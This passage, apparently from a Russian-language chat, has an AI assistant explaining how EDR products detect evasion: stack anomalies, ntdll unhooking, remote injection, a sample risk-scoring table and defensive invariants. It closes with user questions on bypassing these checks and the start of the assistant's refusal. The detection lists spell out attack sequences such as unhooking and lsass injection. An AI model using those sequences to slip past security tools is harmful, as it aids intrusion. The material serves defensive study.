\u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u0435\u043d.\n\n\u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 \u0435\u0441\u0442\u044c \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0442\u0435\u043a\u0430 \u0432 TEB:\n\nTEB.StackBase\nTEB.StackLimit\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\n\nStackLimit &lt; RSP &lt; StackBase\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nRSP points to heap\nRSP points to MEM_PRIVATE controlled buffer\nRSP points to mapped file\nRSP outside TEB stack bounds\nRSP near executable payload region\n\u0415\u0441\u043b\u0438 sensitive syscall \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u043c RSP \u2014 \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b.\n\n8.5. \u0421\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0438\u043b\u0438 \u201c\u0438\u0434\u0435\u0430\u043b\u044c\u043d\u044b\u0439\u201d \u0441\u0442\u0435\u043a\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 \u0434\u0430\u044e\u0442 \u0441\u0442\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u043b\u0438\u0434\u0435\u043d, \u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\n\u043e\u0447\u0435\u043d\u044c \u043c\u0430\u043b\u043e frames \u043f\u0435\u0440\u0435\u0434 sensitive action\n\u043d\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 runtime frames\n\u043d\u0435\u0442 kernelbase/ntdll \u043f\u0440\u0438 WinAPI-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\n\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 frames\nframes \u0438\u0437 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c\n\u0440\u0435\u0437\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 app \u2192 ntdll \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f\nEDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0441 baseline \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n8.6. \u041d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 call-site\nReturn address \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u0431\u044b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 call.\n\n\u0423\u0441\u043b\u043e\u0432\u043d\u043e:\n\ncall target\nreturn address = instruction after call\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nreturn address \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 jmp, ret, nop sled\nreturn address \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u044c gadget sequence\nreturn address \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 call instruction\nreturn address \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\n\u042d\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043b\u043e\u0432\u0438\u0442\u044c ROP-like \u0438 spoofed-stack \u0446\u0435\u043f\u043e\u0447\u043a\u0438.\n\n9. Unhooking: \u043a\u0430\u043a \u043f\u0430\u043b\u0438\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e\nUnhooking \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:\n\nobtain clean bytes\nmake target .text writable\ncopy bytes into loaded ntdll\nrestore protection\ncontinue sensitive syscalls\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442.\n\n9.1. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0438\u0441\u0442\u043e\u0439 ntdll\n\u0421\u0438\u0433\u043d\u0430\u043b\u044b:\n\nopen/read/map \\SystemRoot\\System32\\ntdll.dll\nmap second copy of ntdll.dll\ncreate section from known DLL\nread PE sections manually\n\u0421\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e. \u041d\u043e \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u2014 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\n\n9.2. Protection change \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL\n\u0421\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nNtProtectVirtualMemory\ntarget range \u2208 ntdll.dll .text\nnew protection includes WRITE\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f .text:\n\nPAGE_EXECUTE_READ\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f:\n\nPAGE_EXECUTE_READ \u2192 PAGE_EXECUTE_READWRITE\n\u0438\u043b\u0438 writable copy-on-write pattern \u043d\u0430 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0435\u043a\u0446\u0438\u0438.\n\n9.3. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 .text\nEDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c:\n\nloaded ntdll .text\nvs expected clean OS image\nvs expected EDR-hooked state\nvs baseline for this process\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043e\u0431\u0430 \u0441\u043b\u0443\u0447\u0430\u044f:\n\n\u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438\n\u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0435 EDR hooks\n\u0414\u043b\u044f EDR \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e trampoline \u2014 \u044d\u0442\u043e tamper.\n\n9.4. \u041f\u0430\u0434\u0435\u043d\u0438\u0435 user-mode telemetry \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\n\u0421\u0430\u043c\u043e\u0435 \u0441\u0438\u043b\u044c\u043d\u043e\u0435 \u2014 \u043d\u0435 \u0441\u0430\u043c unhooking, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f:\n\n\u0434\u043e:\n  sensitive API calls visible through hooks\n\n\u043f\u043e\u0441\u043b\u0435:\n  same class of kernel events still happens\n  but user-mode hook telemetry disappears\n\u042d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a:\n\nmodule integrity changed\n+\nsensor visibility degraded\n+\nsensitive operations continue\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u043f\u043e\u0447\u0442\u0438 textbook tamper chain.\n\n10. \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a\n10.1. \u041d\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nRWX memory\n\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c:\n\nJIT\nemulator\nbrowser engine\ngame DRM\npacker\nmalware\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 EDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442:\n\n\u043a\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043b \u0440\u0435\u0433\u0438\u043e\u043d\n\u043a\u043e\u0433\u0434\u0430\n\u043a\u0430\u043a\u0438\u043c call stack\n\u043a\u0430\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430\n\u0441 \u043a\u0430\u043a\u043e\u0439 \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u0435\u0439\n\u0447\u0442\u043e \u0442\u0443\u0434\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438\n\u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0438\n\u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438\n10.2. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT pattern\n\u041e\u0431\u044b\u0447\u043d\u043e:\n\nknown runtime loaded\nknown process family\nallocation from runtime module\nRW \u2192 RX transition\nthread remains in expected runtime context\nno remote process injection\nno credential/process tampering\nstable repeated pattern\n10.3. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 injection pattern\n\u0427\u0430\u0441\u0442\u043e:\n\nopen target process with high rights\nallocate memory in target\nwrite bytes\nchange protection to executable\ncreate/hijack remote thread\nthread start address \u2208 MEM_PRIVATE\ncall stack lacks normal module ownership\n\u0417\u0434\u0435\u0441\u044c \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 syscall \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e, \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043d\u0435\u0442.\n\n10.4. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 patching/hooking pattern\n\u041c\u043e\u0436\u0435\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0443:\n\nEDR\nAV\naccessibility tools\nprofilers\nAPM agents\ngame overlays\nanti-cheats\ndebuggers\ninstrumentation frameworks\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442:\n\nsigned vendor\nknown module\nknown injection path\nstable behavior\nlimited target scope\nexpected product context\n10.5. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 patching/tamper pattern\n\u0421\u0438\u0433\u043d\u0430\u043b\u044b:\n\nunsigned module patches ntdll/kernelbase\nlow-reputation process modifies system DLL .text\nsecurity product DLL altered/unloaded\nhook bytes removed\nETW providers disabled/tampered\nthread starts in unbacked executable region\nmemory written shortly before execution\n11. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043a\u043e\u0440\u0438\u043d\u0433\u0430\n\u0423\u0441\u043b\u043e\u0432\u043d\u0430\u044f scoring-\u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:\n\n+10  MEM_PRIVATE executable region\n+15  region recently written\n+20  thread start address inside that region\n+20  region not backed by file\n+25  syscall origin outside ntdll\n+20  stack missing ntdll/kernelbase frame\n+25  RSP outside normal stack bounds\n+30  ntdll .text protection changed to writable\n+35  EDR hook bytes removed\n+30  remote process handle with VM_WRITE/CREATE_THREAD\n+40  target is lsass/security/browser credential process\n-30  known JIT runtime owns region\n-25  signed trusted anti-cheat context\n-20  known browser renderer baseline\n\u042d\u0442\u043e \u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0441\u0430, \u043d\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a: \u043f\u043b\u044e\u0441\u044b \u0437\u0430 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438, \u043c\u0438\u043d\u0443\u0441\u044b \u0437\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\n12. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 defensive-\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\nEDR \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u201c\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\u201d.\n\n12.1. Module invariant\n\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e\n\u0438\u043b\u0438 \u0438\u043c\u0435\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u044b\u0439 runtime-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nMEM_PRIVATE RX\nmanual mapped PE\nmodule absent from PEB\nVAD image without loader record\n12.2. Syscall invariant\nSensitive syscall \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u0443\u044e user-mode \u0446\u0435\u043f\u043e\u0447\u043a\u0443.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nsyscall outside ntdll\nmissing ntdll frame\nreturn address in private executable memory\nuser-mode telemetry absent while kernel event exists\n12.3. Stack invariant\n\u0421\u0442\u0435\u043a \u0434\u043e\u043b\u0436\u0435\u043d unwind\u2019\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c x64 metadata\n\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 TEB stack bounds.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\ninvalid UNWIND_INFO\nRSP outside stack\nreturn address into gadget/private memory\nimpossible call-site\nsynthetic shallow stack\n12.4. Memory integrity invariant\n\u041a\u043e\u0434\u043e\u0432\u044b\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 DLL \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nntdll .text made writable\nhook bytes removed\nunexpected patching\ncopy from clean mapped DLL into loaded DLL\n12.5. Behavioral invariant\n\u0421\u043e\u0431\u044b\u0442\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nOffice \u2192 script host \u2192 private RX \u2192 remote injection\nbrowser renderer \u2192 credential access\nsigned game anti-cheat behavior outside game context\nsystem DLL modified \u2192 telemetry drops \u2192 sensitive syscalls\n13. \u0421\u0430\u043c\u0430\u044f \u043a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0441\u0443\u0442\u044c\nPEB/VAD\nEDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442:\n\n\u0447\u0442\u043e loader \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043c\u043e\u0434\u0443\u043b\u044f\u0445\nvs\n\u0447\u0442\u043e \u044f\u0434\u0440\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0438\u0434\u0438\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nVAD executable region \u0435\u0441\u0442\u044c,\n\u0430 PEB/module loader \u0435\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u0435\u0442.\nJIT/\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b\nEDR \u043d\u0435 \u0431\u0430\u043d\u0438\u0442 \u0441\u0430\u043c \u0444\u0430\u043a\u0442 RWX \u0438\u043b\u0438 \u0445\u0443\u043a\u043e\u0432. \u041e\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442:\n\n\u043a\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442,\n\u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435,\n\u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e call stack,\n\u043a\u0430\u043a\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u0435\u043c,\n\u0441 \u043a\u0430\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439,\n\u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.\nStack anomalies\n\u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 bypass:\n\n\u043d\u0435\u0442 expected ntdll frame\nreturn address \u0432 MEM_PRIVATE RX\nRSP \u0432\u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430\n\u043d\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0433\u043e .pdata/.xdata unwind\ncall-site \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d\n\u0441\u0442\u0435\u043a \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439/\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439\nMemory changes\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u043e\u0433\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 runtime-\u043f\u0430\u0442\u0442\u0435\u0440\u043d.\n\n\u0410\u0442\u0430\u043a\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0434\u0430\u0451\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443:\n\nwrite memory\n\u2192 make executable\n\u2192 execute from unbacked/private region\n\u2192 perform sensitive operation\n\u2192 stack/module telemetry inconsistent\n14. \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434\nEDR-\u0434\u0435\u0442\u0435\u043a\u0442 \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043d\u0435 \u0432\u043e\u043a\u0440\u0443\u0433 \u043e\u0434\u043d\u043e\u0433\u043e \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430. \u042d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438:\n\nPEB \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e\u0434\u043d\u043e,\nVAD \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0432\u0442\u043e\u0440\u043e\u0435,\nETW \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0442\u0440\u0435\u0442\u044c\u0435,\nkernel callbacks \u0433\u043e\u0432\u043e\u0440\u044f\u0442 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\nstack walking \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043f\u044f\u0442\u043e\u0435,\n\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0451 \u0432 \u0433\u0440\u0430\u0444.\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u043b\u043e\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u2014 \u0434\u0430\u0436\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0440\u043e\u0434\u0435 JIT, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0435\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c.\n\n\u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u201c\u0438\u0441\u0447\u0435\u0437\u201d, \u0434\u0440\u0443\u0433\u043e\u0439 \u201c\u043f\u043e\u0447\u0438\u0449\u0435\u043d\u201d, \u0442\u0440\u0435\u0442\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d, \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0432\u0438\u0434\u0438\u0442 sensitive syscall, \u0430 \u0441\u0442\u0435\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u043f\u043e\u0442\u043e\u043a \u0442\u0443\u0434\u0430 \u043f\u0440\u0438\u0448\u0451\u043b, \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044f. \u042d\u0442\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043b\u0435\u0434 bypass/tamper-\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432?\n\n\n\u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 EDR?\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432?\n\n\n\u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\u041d\u0435 \u0431\u0443\u0434\u0443 \u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u043e\u0431\u0445\u043e\u0434\u0443 PEB/VAD-\u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a, \u00ab\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u043f\u043e\u0434 JIT\u00bb \u0438\u043b\u0438 \u0442\u043e\u043c\u0443, \u043a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b 